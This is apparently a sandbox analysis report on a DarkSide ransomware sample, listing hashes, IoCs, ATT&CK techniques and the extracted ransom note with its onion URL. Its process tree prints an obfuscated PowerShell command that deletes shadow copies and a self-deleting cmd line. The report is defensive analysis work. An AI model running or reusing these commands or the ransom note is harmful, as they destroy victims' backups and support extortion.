darkside | 4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e

General

Target

794c5aa1_by_Libranalysis.exe
Size

5.9MB
MD5

794c5aa1b0e1f9cf2fc7fe5f22117c3f
SHA1

1821fe210298b1d22b25f1a544abcfe092999ff7
SHA256

4098b54c9d27b00ce34d04ffac24213ed28993a2854827851b157d63407c2e4e
SHA512

28c186359035e3f4bc5b4f0420c1e72de5e16fc3fa3b8d41316dd59739c552c810e180feff4637f25696f59b291b7cc00d66d969a4e7d2f460ec4471b1ad83cf

Score

10^/10

darkside ransomware spyware stealer vmprotect

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\InitializeStep.tif => C:\Users\Admin\Pictures\InitializeStep.tif.341d6443	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\InitializeStep.tif.341d6443	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveStart.tiff	794c5aa1_by_Libranalysis.exe
File renamed	C:\Users\Admin\Pictures\RemoveStart.tiff => C:\Users\Admin\Pictures\RemoveStart.tiff.341d6443	794c5aa1_by_Libranalysis.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveStart.tiff.341d6443	794c5aa1_by_Libranalysis.exe

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
behavioral1/memory/2000-75-0x00000000010D0000-0x0000000001A78000-memory.dmp	vmprotect

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2840 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2840	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	794c5aa1_by_Libranalysis.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	794c5aa1_by_Libranalysis.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	794c5aa1_by_Libranalysis.exe

Modifies registry class 5 IoCs

Processes:

794c5aa1_by_Libranalysis.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	794c5aa1_by_Libranalysis.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	794c5aa1_by_Libranalysis.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	794c5aa1_by_Libranalysis.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	794c5aa1_by_Libranalysis.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	794c5aa1_by_Libranalysis.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

794c5aa1_by_Libranalysis.exepowershell.exe

pid	process
2000	794c5aa1_by_Libranalysis.exe
2000	794c5aa1_by_Libranalysis.exe
1616	powershell.exe
1616	powershell.exe
2000	794c5aa1_by_Libranalysis.exe
2000	794c5aa1_by_Libranalysis.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

794c5aa1_by_Libranalysis.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeSecurityPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeTakeOwnershipPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeLoadDriverPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeSystemProfilePrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeSystemtimePrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeProfSingleProcessPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeIncBasePriorityPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeCreatePagefilePrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeBackupPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeRestorePrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeShutdownPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeDebugPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeSystemEnvironmentPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeRemoteShutdownPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeUndockPrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: SeManageVolumePrivilege	2000	794c5aa1_by_Libranalysis.exe
Token: 33	2000	794c5aa1_by_Libranalysis.exe
Token: 34	2000	794c5aa1_by_Libranalysis.exe
Token: 35	2000	794c5aa1_by_Libranalysis.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeBackupPrivilege	1148	vssvc.exe
Token: SeRestorePrivilege	1148	vssvc.exe
Token: SeAuditPrivilege	1148	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

794c5aa1_by_Libranalysis.exe

description	pid	process	target process
PID 2000 wrote to memory of 1616	2000	794c5aa1_by_Libranalysis.exe	powershell.exe
PID 2000 wrote to memory of 1616	2000	794c5aa1_by_Libranalysis.exe	powershell.exe
PID 2000 wrote to memory of 1616	2000	794c5aa1_by_Libranalysis.exe	powershell.exe
PID 2000 wrote to memory of 1616	2000	794c5aa1_by_Libranalysis.exe	powershell.exe
PID 2000 wrote to memory of 2840	2000	794c5aa1_by_Libranalysis.exe	cmd.exe
PID 2000 wrote to memory of 2840	2000	794c5aa1_by_Libranalysis.exe	cmd.exe
PID 2000 wrote to memory of 2840	2000	794c5aa1_by_Libranalysis.exe	cmd.exe
PID 2000 wrote to memory of 2840	2000	794c5aa1_by_Libranalysis.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\794c5aa1_by_Libranalysis.exe
"C:\Users\Admin\AppData\Local\Temp\794c5aa1_by_Libranalysis.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1616

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\794C5A~1.EXE >> NUL
2⤵
- Deletes itself
PID:2840

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1148

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
88c54d14268a5bf3bd5e1819fd8a525f

SHA1
0652b1f8189da0fd4adab477195e875faf729923

SHA256
24e1f1c7de3f4e83757c8c0da77246dcd6adbe7ab6a9eb8fcc5125fdb33d3736

SHA512
902893ece0e41402ca6a5b02a14737b01ecb1969d71d8b1ca1ac3b6a4647308ed7b9c8cae3f64b3b7ad595873416d3d359fb6922f055b6db59899ae641b2a5ec

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
21ac1368dadaa843e2f949790802e8f4

SHA1
e2537307575cdabf718f1fd87cc942897dd2d4f3

SHA256
80a8471a4ac5df952c0c590e5b2f99751eb84b4631cec8c0f32c917b94dbaf6a

SHA512
8f55e7506a40d575aea3da828019e53e1d6f468d5919542170db64fd4af3eadc02dfaceeac5fcc4dc815b2b1831cc1b06032363df3800e2879772c41f43627d2

Download Submit
memory/1616-78-0x0000000000000000-mapping.dmp

Download
memory/1616-87-0x000000001B5B0000-0x000000001B5B1000-memory.dmp

Filesize
4KB

Download
memory/1616-86-0x000000001C7A0000-0x000000001C7A1000-memory.dmp

Filesize
4KB

Download
memory/1616-85-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

Filesize
4KB

Download
memory/1616-84-0x0000000002170000-0x0000000002171000-memory.dmp

Filesize
4KB

Download
memory/1616-82-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

Filesize
8KB

Download
memory/1616-83-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

Filesize
8KB

Download
memory/1616-81-0x000000001AC40000-0x000000001AC41000-memory.dmp

Filesize
4KB

Download
memory/1616-80-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/1616-79-0x000007FEFC411000-0x000007FEFC413000-memory.dmp

Filesize
8KB

Download
memory/2000-66-0x0000000000390000-0x0000000000391000-memory.dmp

Filesize
4KB

Download
memory/2000-68-0x0000000000430000-0x0000000000431000-memory.dmp

Filesize
4KB

Download
memory/2000-73-0x0000000000480000-0x0000000000481000-memory.dmp

Filesize
4KB

Download
memory/2000-74-0x0000000000490000-0x0000000000491000-memory.dmp

Filesize
4KB

Download
memory/2000-75-0x00000000010D0000-0x0000000001A78000-memory.dmp

Filesize
9.7MB

Download
memory/2000-76-0x00000000765F1000-0x00000000765F3000-memory.dmp

Filesize
8KB

Download
memory/2000-71-0x0000000000460000-0x0000000000461000-memory.dmp

Filesize
4KB

Download
memory/2000-70-0x0000000000450000-0x0000000000451000-memory.dmp

Filesize
4KB

Download
memory/2000-69-0x0000000000440000-0x0000000000441000-memory.dmp

Filesize
4KB

Download
memory/2000-72-0x0000000000470000-0x0000000000471000-memory.dmp

Filesize
4KB

Download
memory/2000-67-0x00000000003A0000-0x00000000003A1000-memory.dmp

Filesize
4KB

Download
memory/2000-59-0x00000000000B0000-0x00000000000B1000-memory.dmp

Filesize
4KB

Download
memory/2000-65-0x0000000000380000-0x0000000000381000-memory.dmp

Filesize
4KB

Download
memory/2000-64-0x0000000000370000-0x0000000000371000-memory.dmp

Filesize
4KB

Download
memory/2000-63-0x0000000000360000-0x0000000000361000-memory.dmp

Filesize
4KB

Download
memory/2000-62-0x0000000000350000-0x0000000000351000-memory.dmp

Filesize
4KB

Download
memory/2000-61-0x0000000000340000-0x0000000000341000-memory.dmp

Filesize
4KB

Download
memory/2000-60-0x00000000000C0000-0x00000000000C1000-memory.dmp

Filesize
4KB

Download
memory/2840-90-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads